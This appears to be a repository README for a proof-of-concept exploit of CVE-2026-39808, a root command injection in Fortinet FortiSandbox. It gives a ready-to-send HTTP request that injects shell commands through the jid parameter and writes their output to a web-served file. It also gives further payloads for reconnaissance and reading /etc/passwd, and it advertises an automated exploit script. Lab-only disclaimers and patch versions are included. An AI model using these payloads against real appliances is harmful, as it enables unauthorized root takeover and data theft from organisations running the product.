🚨 FortiSandbox Root Sandbox Escape - CVE-2026-39808

---

🎯 Overview

This repository contains a clean and well-documented Proof of Concept for CVE-2026-39808 — a critical unauthenticated command injection vulnerability in Fortinet FortiSandbox that allows sandbox escape and remote code execution as root (uid=0).

What this PoC demonstrates:

• Path Traversal + Command Injection via the jid parameter
• Sandbox breakout from the analysis environment
• Execution of arbitrary commands with root privileges
• Reading system files and network information

📸 Demo

Successful exploitation showing uid=0 gid=0 groups=0

🚀 Affected Versions

🛠️ How to Use (Lab Only)

1. Simple Payload (Recommended)

GET /fortisandbox/job-detail/tracer-behavior?jid=%7C(id%3E/web/ng/out.txt)%7C HTTP/1.1
Host: your-lab-ip

2. View the result

Open in browser:

https://your-lab-ip/ng/out.txt

3. Advanced Payload Examples

# Get IP address + hostname
jid=|(hostname; ip -4 addr show > /web/ng/out.txt)|

# Full system reconnaissance
jid=|(whoami; id; hostname; ip addr; cat /etc/passwd > /web/ng/out.txt)|

📁 Repository Contents

• poc.py → Automated Python exploit
• burp-request.txt → Ready-to-use Burp Suite request
• payloads.md → Collection of useful payloads
• screenshots/ → Step-by-step exploitation images
• README.md → This file

⚠️ Important Notes

• For educational and lab purposes only
• Do NOT use this on any production or unauthorized systems
• Always get proper permission before testing
• Patch your FortiSandbox to version 4.4.9+ or 5.0.6+

🛡️ Mitigation

Update FortiSandbox immediately to one of the following versions:

• 4.4.9 or higher
• 5.0.6 or higher

Fortinet has released official patches addressing this vulnerability.